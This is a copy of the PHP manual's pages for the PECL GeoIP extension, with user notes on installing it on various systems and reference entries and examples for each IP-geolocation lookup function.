# wget http://pecl.php.net/get/geoip-1.0.7.tgz
(whatever the latest version is from http://pecl.php.net/package/geoip )
# tar -xzf geoip-1.0.7.tgz
# cd geoip-1.0.7/
# phpize
# ./configure
# make
# make install
# cp /etc/php5/conf.d/gd.ini /etc/php5/conf.d/geoip.ini
# vi /etc/php5/conf.d/geoip.ini
Change gd.so to geoip.so
:wq!
# vi /etc/php5/apache2/php.ini
Find the [gd] section and add a new section afterwards:
[geoip]
geoip.custom_directory = /usr/share/GeoIP/
:wq!
# /etc/init.d/apache2 restart

Check phpinfo() that geoip is loaded and the default location for the DB's is set.

If you want the free DBs that are update roughly monthly, follow the "Lite" links from http://www.maxmind.com/app/country and download the tar.gz to /usr/share/GeoIP/ and extract.
bob at qww dot cz 19-Aug-2009 09:00
To install geoip on debian lenny:

wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gunzip GeoLiteCity.dat.gz
sudo mkdir -v /usr/share/GeoIP
sudo mv -v GeoLiteCity.dat /usr/share/GeoIP/GeoIPCity.dat

sudo apt-get install php5-geoip

and then try it in PHP:
print_r(geoip_record_by_name('php.net'));

returns:
Array
(
    [country_code] => US
    [country_code3] => USA
    [country_name] => United States
    [region] => CA
    [city] => Sunnyvale
    [postal_code] => 94089
    [latitude] => 37.4249000549
    [longitude] => -122.007400513
    [dma_code] => 807
    [area_code] => 408
)
munitoris at inetspec dot com 15-Jul-2009 12:12
At the time of this writing, the PECL binaries at http://pecl4win.php.net/ are NOT AVAILABLE.

Specifically, the php_geoip.dll extension is not available in a pre-compiled form for Windoze PHP developers.

There are only two alternative solutions to self-compiling for Windoze (AFAIK):

1) Use the "Pure" PHP version of the GeoIP API from MaxMind available here (http://www.maxmind.com/download/geoip/api/php/).  This solution is not really acceptable for production machines because of its slower speed.  However, it does work for development.

2) Use the older version of this pre-compiled extension (http://www.gknw.de/php/ext_win32/php-5.2.1_geoip-w32.zip).  It worked on my development system using Windoze XP sp2, Apache 2.2.3 and PHP 5.2.10.  There are also older versions for PHP 5.1.2 and PHP 5.1.4 in the same directory.
matt at kynx dot org 14-Dec-2008 07:16
Installation on OSX (Leopard) running MAMP

First you need MacPorts installed and operational:
http://www.macports.org

Use that to install libgeoip. From a terminal window, do:

    $ sudo port install libgeoip

This installs the library in /opt/local. Unfortunately the current version of the PECL extension doesn't know to look there, so you'll need to download and compile manually from http://pecl.php.net/package/geoip

Assuming it's in your download directory, extract it:

    $ cd ~/Downloads
    $ tar -xzf geoip-1.0.3.tgz
    $ cd geoip-1.0.3

Now edit the config.m4 file and change the SEARCH_PATH variable, as described in the following bug report:
http://pecl.php.net/bugs/bug.php?id=14795

Now you should be able to compile and install the extension as usual. Make sure you use the phpize from the MAMP package, not the one that ships with OSX:

    $ /App*/MAMP/bin/php5/bin/phpize
    $ ./configure
    $ make
    $ sudo make install

If phpize complains that it cannot find files under /Applications/MAMP/bin/php5/include, make sure you have the development version of MAMP installed (link towards the bottom of the MAMP download page).

You're nearly there! The extension will have installed in /usr/lib/php. You need to copy it into your MAMP extension directory:

    $ cd /App*/MAMP/bin/php5/lib/php/ext*/no-debug*/
    $ mv /usr/lib/php/ext*/no-debug*/geoip.so .

Now edit the php.ini file in /Applications/MAMP/conf/php5/ and add the following line:

     extension=geoip.so

Restart your web server and check phpinfo() - the geoip extension should now be listed.

Good luck!
code at edoceo dot com 08-Dec-2008 10:12
Installation on Gentoo (2008.0) as follows:

emerge dev-libs/geoip
pecl install geoip

Then fetch the databases to /usr/share/GeoIP (wrapped!)
cd /usr/share/GeoIP
wget http://geolite.maxmind.com/download/geoip/ \
  database/GeoLiteCity.dat.gz
wget http://geolite.maxmind.com/download/geoip/ \
  database/GeoLiteCountry/GeoIP.dat.gz


Requirements

This extension requires the GeoIP C library version 1.4.0 or higher to be installed. You can grab the latest version from » http://www.maxmind.com/app/c and compile it yourself.

By default, you will only have access to the Free GeoIP Country or GeoLite City databases. While this module can work with other types of database, you must buy a commercial license from » Maxmind.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/geoip.

User Contributed Notes

Anonymous 19-Sep-2013 03:37
@Centos 6.4
# yum install GeoIP-devel (from yum repo, epel)
# pecl install geoip
then, as prompt, put "extension=geoip.so" into php.ini. Works
mikey03062 at yahoo dot com 12-Apr-2013 07:29
if you are using RH (or CentOS) a simple

yum install php-pecl-geoip

worked for me.    So, before you read all the rest of these "install" instructions, try that.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

GeoIP Configure Options
Name | Default | Changeable | Changelog
geoip.custom_directory | "" | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

geoip.custom_directory string

Empty by default, but can be set to force a different database path than the one compiled in the library.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GEOIP_COUNTRY_EDITION (integer)
GEOIP_REGION_EDITION_REV0 (integer)
GEOIP_CITY_EDITION_REV0 (integer)
GEOIP_ORG_EDITION (integer)
GEOIP_ISP_EDITION (integer)
GEOIP_CITY_EDITION_REV1 (integer)
GEOIP_REGION_EDITION_REV1 (integer)
GEOIP_PROXY_EDITION (integer)
GEOIP_ASNUM_EDITION (integer)
GEOIP_NETSPEED_EDITION (integer)
GEOIP_DOMAIN_EDITION (integer)

The following constants are for net speed:

GEOIP_UNKNOWN_SPEED (integer)
GEOIP_DIALUP_SPEED (integer)
GEOIP_CABLEDSL_SPEED (integer)
GEOIP_CORPORATE_SPEED (integer)

User Contributed Notes

There are no user contributed notes for this page.


GeoIP Functions

Table of Contents

  • geoip_asnum_by_name — Get the Autonomous System Numbers (ASN)
  • geoip_continent_code_by_name — Get the two letter continent code
  • geoip_country_code_by_name — Get the two letter country code
  • geoip_country_code3_by_name — Get the three letter country code
  • geoip_country_name_by_name — Get the full country name
  • geoip_database_info — Get GeoIP Database information
  • geoip_db_avail — Determine if GeoIP Database is available
  • geoip_db_filename — Returns the filename of the corresponding GeoIP Database
  • geoip_db_get_all_info — Returns detailed information about all GeoIP database types
  • geoip_domain_by_name — Get the second level domain name
  • geoip_id_by_name — Get the Internet connection type
  • geoip_isp_by_name — Get the Internet Service Provider (ISP) name
  • geoip_netspeedcell_by_name — Get the Internet connection speed
  • geoip_org_by_name — Get the organization name
  • geoip_record_by_name — Returns the detailed City information found in the GeoIP Database
  • geoip_region_by_name — Get the country code and region
  • geoip_region_name_by_code — Returns the region name for some country and region code combo
  • geoip_setup_custom_directory — Set a custom directory for the GeoIP database.
  • geoip_time_zone_by_country_and_region — Returns the time zone for some country and region code combo

User Contributed Notes

nospam dot guilhem at nospam dot answeb dot net 05-Apr-2011 11:26
Hello,

While trying to update the GeoIP.dat file under debian, I've found out that automatic updates via the geoipupdate (in geoip-bin package) is not available for the free edition. Here is a one-liner script that will do it. You can put it in a crontab, it will download the .dat file only if it has change :

cd /usr/share/GeoIP && wget GEOIP_URL -N && cat GeoIP.dat.gz | gzip -d > GeoIP.dat

Note : GEOIP_URL is to be found on the page http://www.maxmind.com/app/geoip_country, under the Binary Format section (The php note system won't allow me to put the full URL here

Crontab line could be :

@weekly cd /usr/share/GeoIP && (..)
nandox7 at myrealbox dot com 27-Dec-2008 03:49
The GeoLiteCity free db works and can resolve city names and other informations.

Make sure the instructions are followed regarding it's installation.

http://www.maxmind.com/app/installation?city=1

At step 2 the decompress file must be moved and renamed.
The files needs to be called GeoIPCity.dat if not the mod_geoip will not find it.
thomas {AT} thomasfischer {D0T} BIZ 08-Apr-2008 02:04
you can use this function to determine the continent of a country:

function getContinentFromCountry($country)
{
 $data = array ("AF"=> "AS","AX"=>"EU","AL"=>"EU", "DZ"=>"AF","AS"=>"OC", "AD"=>"EU","AO"=> "AF" ........);
 return $data[$country];
}

unfortunately this comment's size is restricted, so you will have the rest by yourself

for example:
getContinentFromCountry("DE") will result in "EU"

this data is based on
wikipedia's
List_of_countries_by_continent_(data_file)
kapouer at melix dot org 01-Mar-2008 04:26
For Debian etch users : libgeoip is in version 1.4 so get the source from lenny (apt-get build-dep libgeoip;apt-get source libgeoip), compile it on etch (dpkg-buildpackage -rfakeroot in source folder) and install resulting libgeoip1 and libgeo-dev packages (dpkg -i)... Together with php5-dev this package is easy to install (phpize5;./configure --enable-geoip;make;make install)... Then check your install in php with :
<?php
    echo geoip_database_info(GEOIP_COUNTRY_EDITION);
    echo $_SERVER['REMOTE_ADDR'];
    echo geoip_country_code3_by_name($_SERVER['REMOTE_ADDR']);
?>

please note free .dat is in /usr/share/GeoIP/GeoIP.dat
Use geoip-bin package to schedule automatic updates (configure /etc/geoip.default.conf and copy to /etc/geoip.conf, then add a crontab to make the updates...)
hope this helps
php dot comment dot addition at gmail dot com 11-Jun-2007 05:57
Just to clarify the other comments, the maxmind post seems to be out of date / incorrect.

This module fails to work (ie: resolve cities) with the GeoLite City database from here:
http://www.maxmind.com/app/geolitecity

The error occurs when calling the function geoip_record_by_name(), which states incorrectly that the required database is not available.  I have tested it with the very latest database, for which geoip_database_info() returns  the version:
GEO-533LITE 20070601 Build 1 Copyright (c) 2007 MaxMind LLC All Rights Reserved

It does, however, resolve countries OK via the GeoLite Country database, which you can grab here: http://www.maxmind.com/app/geoip_country
I tested with the version:

GEO-106FREE 20070601 Build 1 Copyright (c) 2007 MaxMind LLC All Rights Reserved
tjmather at maxmind dot com 27-Feb-2007 05:09
The geoip_country_*_by_name functions only work with GeoIP Country.  The geoip_record_by_name function works with GeoIP City.  geoip_region_by_name works with GeoIP Region.  So the API should work with all of the GeoIP databases, as long as you call the correct function.
27-Jan-2007 02:23
I couldn't get it to work with the DMA code database (product ID 137).  It seems to only work with the country database.  The documentation should contain a warning that this code (as of 0.2.0) is incomplete and that Net_GeoIP should be used for non-country databases.
judas dot iscariote at gmail dot com 17-Nov-2006 04:59
If you want to use this extension in SUSE/openSUSE, it is available here:

http://repos.opensuse.org/server:/php:/extensions/
Christian 13-Sep-2006 02:45
Both, Ubuntu and Debian itself make usage of version 1.3.x of the c libraries, so installation can't be done with the debian packages, because configure stops with:

== configure: error: You need version 1.4.0 or higher of the C API ==

so you must download it from maxmind.
Matt 08-Sep-2006 10:34
If you are a Debian or Ubuntu user, instead of building it from source, you can:
aptitude install libgeoip-dev libgeoip1


Get the Autonomous System Numbers (ASN)

  • « GeoIP Functions
  • geoip_continent_code_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the Autonomous System Numbers (ASN)

geoip_asnum_by_name

(PECL geoip >= 1.1.0)

geoip_asnum_by_name — Get the Autonomous System Numbers (ASN)

Description

string geoip_asnum_by_name ( string $hostname )

The geoip_asnum_by_name() function will return the Autonomous System Numbers (ASN) associated with an IP address.

Parameters

hostname

The hostname or IP address.

Return Values

Returns the ASN on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_asnum_by_name() example

This will output the ASN of the host www.example.com.

<?php
$asn = geoip_asnum_by_name('www.example.com');

if ($asn) {
    echo 'The ASN is: ' $asn;
}
?>

The above example will output:

The ASN is: AS15133 EdgeCast Networks, Inc

User Contributed Notes

There are no user contributed notes for this page.


Get the two letter continent code

  • « geoip_asnum_by_name
  • geoip_country_code_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the two letter continent code

geoip_continent_code_by_name

(PECL geoip >= 1.0.3)

geoip_continent_code_by_name — Get the two letter continent code

Description

string geoip_continent_code_by_name ( string $hostname )

The geoip_continent_code_by_name() function will return the two letter continent code corresponding to a hostname or an IP address.

Parameters

hostname

The hostname or IP address whose location is to be looked-up.

Return Values

Returns the two letter continent code on success, or FALSE if the address cannot be found in the database.

Continent codes
Code | Continent name
AF | Africa
AN | Antarctica
AS | Asia
EU | Europe
NA | North america
OC | Oceania
SA | South america

Examples

Example #1 A geoip_continent_code_by_name() example

This will print where the host example.com is located.

<?php
$continent = geoip_continent_code_by_name('www.example.com');
if ($continent) {
    echo 'This host is located in: ' . $continent;
}
?>

The above example will output:

 This host is located in: NA

See Also

  • geoip_country_code_by_name() - Get the two letter country code

User Contributed Notes

There are no user contributed notes for this page.


Get the two letter country code

  • « geoip_continent_code_by_name
  • geoip_country_code3_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the two letter country code

geoip_country_code_by_name

(PECL geoip >= 0.2.0)

geoip_country_code_by_name — Get the two letter country code

Description

string geoip_country_code_by_name ( string $hostname )

The geoip_country_code_by_name() function will return the two letter country code corresponding to a hostname or an IP address.

Parameters

hostname

The hostname or IP address whose location is to be looked-up.

Return Values

Returns the two letter ISO country code on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_country_code_by_name() example

This will print where the host example.com is located.

<?php
$country = geoip_country_code_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

The above example will output:

This host is located in: US

Notes

Caution

Please see » http://www.maxmind.com/en/iso3166 for a complete list of possible return values, including special codes.

See Also

  • geoip_country_code3_by_name() - Get the three letter country code
  • geoip_country_name_by_name() - Get the full country name

User Contributed Notes

There are no user contributed notes for this page.


Get the three letter country code

  • « geoip_country_code_by_name
  • geoip_country_name_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the three letter country code

geoip_country_code3_by_name

(PECL geoip >= 0.2.0)

geoip_country_code3_by_name — Get the three letter country code

Description

string geoip_country_code3_by_name ( string $hostname )

The geoip_country_code3_by_name() function will return the three letter country code corresponding to a hostname or an IP address.

Parameters

hostname

The hostname or IP address whose location is to be looked-up.

Return Values

Returns the three letter country code on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_country_code3_by_name() example

This will print where the host example.com is located.

<?php
$country = geoip_country_code3_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

The above example will output:

This host is located in: USA

See Also

  • geoip_country_code_by_name() - Get the two letter country code
  • geoip_country_name_by_name() - Get the full country name

User Contributed Notes

There are no user contributed notes for this page.


Get the full country name

  • « geoip_country_code3_by_name
  • geoip_database_info »
  • PHP Manual
  • GeoIP Functions
  • Get the full country name

geoip_country_name_by_name

(PECL geoip >= 0.2.0)

geoip_country_name_by_name — Get the full country name

Description

string geoip_country_name_by_name ( string $hostname )

The geoip_country_name_by_name() function will return the full country name corresponding to a hostname or an IP address.

Parameters

hostname

The hostname or IP address whose location is to be looked-up.

Return Values

Returns the country name on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_country_name_by_name() example

This will print where the host example.com is located.

<?php
$country = geoip_country_name_by_name('www.example.com');
if ($country) {
    echo 'This host is located in: ' . $country;
}
?>

The above example will output:

 This host is located in: United States

See Also

  • geoip_country_code_by_name() - Get the two letter country code
  • geoip_country_code3_by_name() - Get the three letter country code

User Contributed Notes

There are no user contributed notes for this page.


Get GeoIP Database information

  • « geoip_country_name_by_name
  • geoip_db_avail »
  • PHP Manual
  • GeoIP Functions
  • Get GeoIP Database information

geoip_database_info

(PECL geoip >= 0.2.0)

geoip_database_info — Get GeoIP Database information

Description

string geoip_database_info ([ int $database = GEOIP_COUNTRY_EDITION ] )

The geoip_database_info() function returns the corresponding GeoIP Database version as it is defined inside the binary file.

If this function is called without arguments, it returns the version of the GeoIP Free Country Edition.

Parameters

database

The database type as an integer. You can use the various constants defined with this extension (ie: GEOIP_*_EDITION).

Return Values

Returns the corresponding database version, or NULL on error.

Examples

Example #1 A geoip_database_info() example

This will output information regarding the database.

<?php
print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

The above example will output:

GEO-106FREE 20060801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.


Determine if GeoIP Database is available

  • « geoip_database_info
  • geoip_db_filename »
  • PHP Manual
  • GeoIP Functions
  • Determine if GeoIP Database is available

geoip_db_avail

(PECL geoip >= 1.0.1)

geoip_db_avail — Determine if GeoIP Database is available

Description

bool geoip_db_avail ( int $database )

The geoip_db_avail() function returns if the corresponding GeoIP Database is available and can be opened on disk.

It does not indicate if the file is a proper database, only if it is readable.

Parameters

database

The database type as an integer. You can use the various constants defined with this extension (ie: GEOIP_*_EDITION).

Return Values

Returns TRUE is database exists, FALSE if not found, or NULL on error.

Examples

Example #1 A geoip_db_avail() example

This will output the current database version string.

<?php

if (geoip_db_avail(GEOIP_COUNTRY_EDITION))
    print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

The above example will output:

GEO-106FREE 20080801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.


Returns the filename of the corresponding GeoIP Database

  • « geoip_db_avail
  • geoip_db_get_all_info »
  • PHP Manual
  • GeoIP Functions
  • Returns the filename of the corresponding GeoIP Database

geoip_db_filename

(PECL geoip >= 1.0.1)

geoip_db_filename — Returns the filename of the corresponding GeoIP Database

Description

string geoip_db_filename ( int $database )

The geoip_db_filename() function returns the filename of the corresponding GeoIP Database.

It does not indicate if the file exists or not on disk, only where the library is looking for the database.

Parameters

database

The database type as an integer. You can use the various constants defined with this extension (ie: GEOIP_*_EDITION).

Return Values

Returns the filename of the corresponding database, or NULL on error.

Examples

Example #1 A geoip_db_filename() example

This will output the filename of the corresponding database.

<?php

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

The above example will output:

/usr/share/GeoIP/GeoIP.dat

User Contributed Notes

Loc d&#39;Anterroches 18-Aug-2010 02:50
To quickly know which databases are available on your system:

<?php
$cst = array(
             'GEOIP_COUNTRY_EDITION' => GEOIP_COUNTRY_EDITION,
             'GEOIP_REGION_EDITION_REV0' => GEOIP_REGION_EDITION_REV0,
             'GEOIP_CITY_EDITION_REV0' => GEOIP_CITY_EDITION_REV0,
             'GEOIP_ORG_EDITION' => GEOIP_ORG_EDITION,
             'GEOIP_ISP_EDITION' => GEOIP_ISP_EDITION,
             'GEOIP_CITY_EDITION_REV1' => GEOIP_CITY_EDITION_REV1,
             'GEOIP_REGION_EDITION_REV1' => GEOIP_REGION_EDITION_REV1,
             'GEOIP_PROXY_EDITION' => GEOIP_PROXY_EDITION,
             'GEOIP_ASNUM_EDITION' => GEOIP_ASNUM_EDITION,
             'GEOIP_NETSPEED_EDITION' => GEOIP_NETSPEED_EDITION,
             'GEOIP_DOMAIN_EDITION' => GEOIP_DOMAIN_EDITION,
             );

foreach ($cst as $k=>$v) {
    echo $k.': '.geoip_db_filename($v).'  '.(geoip_db_avail($v) ? 'Available':'').'<br>';
}
?>

The only drawback of the PECL extension with respect to a pure PHP implementation is that you cannot select yourself where the database is. So, if you get a new version of the database, you need to put in the standard place and you may need root access to do so.


Returns detailed information about all GeoIP database types

  • « geoip_db_filename
  • geoip_domain_by_name »
  • PHP Manual
  • GeoIP Functions
  • Returns detailed information about all GeoIP database types

geoip_db_get_all_info

(PECL geoip >= 1.0.1)

geoip_db_get_all_info — Returns detailed information about all GeoIP database types

Description

array geoip_db_get_all_info ( void )

The geoip_db_get_all_info() function will return detailed information as a multi-dimensional array about all the GeoIP database types.

This function is available even if no databases are installed. It will simply list them as non-available.

The names of the different keys of the returning associative array are as follows:

  • "available" -- Boolean, indicate if DB is available (see geoip_db_avail())
  • "description" -- The database description
  • "filename" -- The database filename on disk (see geoip_db_filename())

Return Values

Returns the associative array.

Examples

Example #1 A geoip_db_get_all_info() example

This will print the array containing all the information.

<?php
$infos = geoip_db_get_all_info();
if (is_array($infos)) {
    var_dump($infos);
}
?>

The above example will output:

array(11) {
  [1]=>
  array(3) {
    ["available"]=>
    bool(true)
    ["description"]=>
    string(21) "GeoIP Country Edition"
    ["filename"]=>
    string(32) "/usr/share/GeoIP/GeoIP.dat"
  }

[ ... ]

  [11]=>
  array(3) {
    ["available"]=>
    bool(false)
    ["description"]=>
    string(25) "GeoIP Domain Name Edition"
    ["filename"]=>
    string(38) "/usr/share/GeoIP/GeoIPDomain.dat"
  }
}

Example #2 A geoip_db_get_all_info() example

You can use the various constants as keys to get only parts of the information.

<?php
$infos = geoip_db_get_all_info();
if ($infos[GEOIP_COUNTRY_EDITION]['available']) {
    echo $infos[GEOIP_COUNTRY_EDITION]['description'];
}
?>

The above example will output:

GeoIP Country Edition

User Contributed Notes

There are no user contributed notes for this page.


Get the second level domain name

  • « geoip_db_get_all_info
  • geoip_id_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the second level domain name

geoip_domain_by_name

(PECL geoip >= 1.1.0)

geoip_domain_by_name — Get the second level domain name

Description

string geoip_domain_by_name ( string $hostname )

The geoip_domain_by_name() function will return the second level domain names associated with a hostname or an IP address.

This function is currently only available to users who have bought a commercial GeoIP Domain Edition. A warning will be issued if the proper database cannot be located.

Parameters

hostname

The hostname or IP address.

Return Values

Returns the domain name on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_domain_by_name() example

This will output the domain associated with IP 61.106.139.1.

<?php
$domain = geoip_domain_by_name('61.106.139.1');

if ($domain) {
    echo 'The domain is: '. $domain;
}

?>

The above example will output:

The domain is: von.co.kr

User Contributed Notes

There are no user contributed notes for this page.


Get the Internet connection type

  • « geoip_domain_by_name
  • geoip_isp_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the Internet connection type

geoip_id_by_name

(PECL geoip >= 0.2.0)

geoip_id_by_name — Get the Internet connection type

Description

int geoip_id_by_name ( string $hostname )

The geoip_id_by_name() function will return the Internet connection type corresponding to a hostname or an IP address.

The return value is numeric and can be compared to the following constants:

  • GEOIP_UNKNOWN_SPEED
  • GEOIP_DIALUP_SPEED
  • GEOIP_CABLEDSL_SPEED
  • GEOIP_CORPORATE_SPEED

Parameters

hostname

The hostname or IP address whose connection type is to be looked-up.

Return Values

Returns the connection type.

Examples

Example #1 A geoip_id_by_name() example

This will output the connection type of the host example.com.

<?php
$netspeed = geoip_id_by_name('www.example.com');

echo 'The connection type is ';

switch ($netspeed) {
    case GEOIP_DIALUP_SPEED:
        echo 'dial-up';
        break;
    case GEOIP_CABLEDSL_SPEED:
        echo 'cable or DSL';
        break;
    case GEOIP_CORPORATE_SPEED:
        echo 'corporate';
        break;
    case GEOIP_UNKNOWN_SPEED:
    default:
        echo 'unknown';
}
?>

The above example will output:

The connection type is corporate

User Contributed Notes

There are no user contributed notes for this page.


Get the Internet Service Provider (ISP) name

  • « geoip_id_by_name
  • geoip_netspeedcell_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the Internet Service Provider (ISP) name

geoip_isp_by_name

(PECL geoip >= 1.0.2)

geoip_isp_by_name — Get the Internet Service Provider (ISP) name

Description

string geoip_isp_by_name ( string $hostname )

The geoip_isp_by_name() function will return the name of the Internet Service Provider (ISP) that an IP is assigned to.

This function is currently only available to users who have bought a commercial GeoIP ISP Edition. A warning will be issued if the proper database cannot be located.

Parameters

hostname

The hostname or IP address.

Return Values

Returns the ISP name on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_isp_by_name() example

This will print the ISP name of host example.com.

<?php
$isp = geoip_isp_by_name('www.example.com');
if ($isp) {
    echo 'This host IP is from ISP: ' . $isp;
}
?>

The above example will output:

This host IP is from ISP: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.


Get the Internet connection speed

  • « geoip_isp_by_name
  • geoip_org_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the Internet connection speed

geoip_netspeedcell_by_name

(PECL geoip >= 1.1.0)

geoip_netspeedcell_by_name — Get the Internet connection speed

Description

string geoip_netspeedcell_by_name ( string $hostname )

The geoip_netspeedcell_by_name() function will return the Internet connection type and speed corresponding to a hostname or an IP address.

This function is only available if using GeoIP Library version 1.4.8 or newer.

This function is currently only available to users who have bought a commercial GeoIP NetSpeedCell Edition. A warning will be issued if the proper database cannot be located.

The return value is a string, common values are:

  • Cable/DSL
  • Dialup
  • Cellular
  • Corporate

Parameters

hostname

The hostname or IP address.

Return Values

Returns the connection speed on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_netspeedcell_by_name() example

This will output the connection speed of the host example.com.

<?php
$netspeed = geoip_netspeedcell_by_name('www.example.com');

if ($netspeed) {
    echo 'The connection type is: '. $netspeed;
}
?>

The above example will output:

The connection type is: Corporate

User Contributed Notes

There are no user contributed notes for this page.


Get the organization name

  • « geoip_netspeedcell_by_name
  • geoip_record_by_name »
  • PHP Manual
  • GeoIP Functions
  • Get the organization name

geoip_org_by_name

(PECL geoip >= 0.2.0)

geoip_org_by_name — Get the organization name

Description

string geoip_org_by_name ( string $hostname )

The geoip_org_by_name() function will return the name of the organization that an IP is assigned to.

This function is currently only available to users who have bought a commercial GeoIP Organization, ISP or AS Edition. A warning will be issued if the proper database cannot be located.

Parameters

hostname

The hostname or IP address.

Return Values

Returns the organization name on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_org_by_name() example

This will print to whom the host example.com IP is allocated.

<?php
$org = geoip_org_by_name('www.example.com');
if ($org) {
    echo 'This host IP is allocated to: ' . $org;
}
?>

The above example will output:

This host IP is allocated to: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.


Returns the detailed City information found in the GeoIP Database

  • « geoip_org_by_name
  • geoip_region_by_name »
  • PHP Manual
  • GeoIP Functions
  • Returns the detailed City information found in the GeoIP Database

geoip_record_by_name

(PECL geoip >= 0.2.0)

geoip_record_by_name — Returns the detailed City information found in the GeoIP Database

Description

array geoip_record_by_name ( string $hostname )

The geoip_record_by_name() function will return the record information corresponding to a hostname or an IP address.

This function is available for both GeoLite City Edition and commercial GeoIP City Edition. A warning will be issued if the proper database cannot be located.

The names of the different keys of the returning associative array are as follows:

  • "continent_code" -- Two letter continent code (as of version 1.0.4 with libgeoip 1.4.3 or newer)
  • "country_code" -- Two letter country code (see geoip_country_code_by_name())
  • "country_code3" -- Three letter country code (see geoip_country_code3_by_name())
  • "country_name" -- The country name (see geoip_country_name_by_name())
  • "region" -- The region code (ex: CA for California)
  • "city" -- The city.
  • "postal_code" -- The Postal Code, FSA or Zip Code.
  • "latitude" -- The Latitude as signed double.
  • "longitude" -- The Longitude as signed double.
  • "dma_code" -- Designated Market Area code (USA and Canada only)
  • "area_code" -- The PSTN area code (ex: 212)

Parameters

hostname

The hostname or IP address whose record is to be looked-up.

Return Values

Returns the associative array on success, or FALSE if the address cannot be found in the database.

Changelog

Version | Description
1.0.4 | Adding the continent_code with GeoIP Library 1.4.3 or newer only
1.0.3 | Adding country_code3 and country_name

Examples

Example #1 A geoip_record_by_name() example

This will print the array containing the record of host example.com.

<?php
$record = geoip_record_by_name('www.example.com');
if ($record) {
    print_r($record);
}
?>

The above example will output:

Array
(
    [continent_code] => NA
    [country_code] => US
    [country_code3] => USA
    [country_name] => United States
    [region] => CA
    [city] => Marina Del Rey
    [postal_code] =>
    [latitude] => 33.9776992798
    [longitude] => -118.435096741
    [dma_code] => 803
    [area_code] => 310
)

User Contributed Notes

bogdan at grabinski dot com 21-Jan-2014 02:02
I use this additional code in my error handler class to suppress "PHP Notice" send by the function geoip_record_by_name() in case of IP not found. No e-mails or echo on display is welcome for this notice in development environment.

public static function Handler($errNo, $errStr, $errFile, $errLine){
   $backtrace = ErrorHandler::GetBacktrace(2);
   // detection of unwelcome  PHP Notice and its ignoring.
   if($errNo == E_NOTICE && preg_match('/^geoip_record_by_name.*Host.*not found$/', $errStr)){
            return;
        }

The rest of normal error handler code remains.
etbwebdesign.com 07-May-2013 12:42
I know this may be obvious to some but I thought I would post it anyway to help others. The GEOIP section of the PHP site is a bit limited in useful tips/documentation other than the initial functions and examples.

If you are trying to get information about the specific user visiting your site, you should use their IP address via the remote address in the GEOIP function. In addition here are some useful bits of code to pull certain information from the function.
<?php
# Collect a specific users GEOIP info
$info = geoip_record_by_name($_SERVER['REMOTE_ADDR']);
print_r ($info);

# To get the info from one specific field
$country = $info['country_name'];
echo $country;

# To combine information from the array into a string
$info = implode("/", $info);
echo $info;
?>

Note on field in this array is NOT included, the connection speed of the user. To find the connection speed/connection type the visitor has, you can use the geoip_id_by_name() function. Lastly it is a good idea on whatever platform you are using GEOIP on to make sure it's data is up-to-date. On most Linux/UNIX systems with terminal you can use "pear update-channels" and "pecl update-channels" commands to keep your libraries updated. This is a good idea because GEOIP databases and country/location codes often change over time.
wouter dot berben at ignitione dot com 11-Jan-2012 10:04
This function returns a PHP Notice when a address can not be found.


Get the country code and region

  • « geoip_record_by_name
  • geoip_region_name_by_code »
  • PHP Manual
  • GeoIP Functions
  • Get the country code and region

geoip_region_by_name

(PECL geoip >= 0.2.0)

geoip_region_by_name — Get the country code and region

Description

array geoip_region_by_name ( string $hostname )

The geoip_region_by_name() function will return the country and region corresponding to a hostname or an IP address.

This function is currently only available to users who have bought a commercial GeoIP Region Edition. A warning will be issued if the proper database cannot be located.

The names of the different keys of the returning associative array are as follows:

  • "country_code" -- Two letter country code (see geoip_country_code_by_name())
  • "region" -- The region code (ex: CA for California)

Parameters

hostname

The hostname or IP address whose region is to be looked-up.

Return Values

Returns the associative array on success, or FALSE if the address cannot be found in the database.

Examples

Example #1 A geoip_region_by_name() example

This will print the array containing the country code and region of the host example.com.

<?php
$region = geoip_region_by_name('www.example.com');
if ($region) {
    print_r($region);
}
?>

The above example will output:

Array
(
    [country_code] => US
    [region] => CA
)

User Contributed Notes

blacksdeva at gmail dot com 28-Nov-2013 07:13
Hi Kaushal,

You have to install geoip first before using its features, this link might help http://php.net/manual/en/geoip.setup.php if you get stuck just tell me what distro you are using
kaushal dot acharya at intesols dot com dot au 01-Oct-2013 11:22
Hi, I have written this code in my php file.
[code]
$region = geoip_region_by_name('121.246.53.66');
if ($region) {
    print_r($region);
}
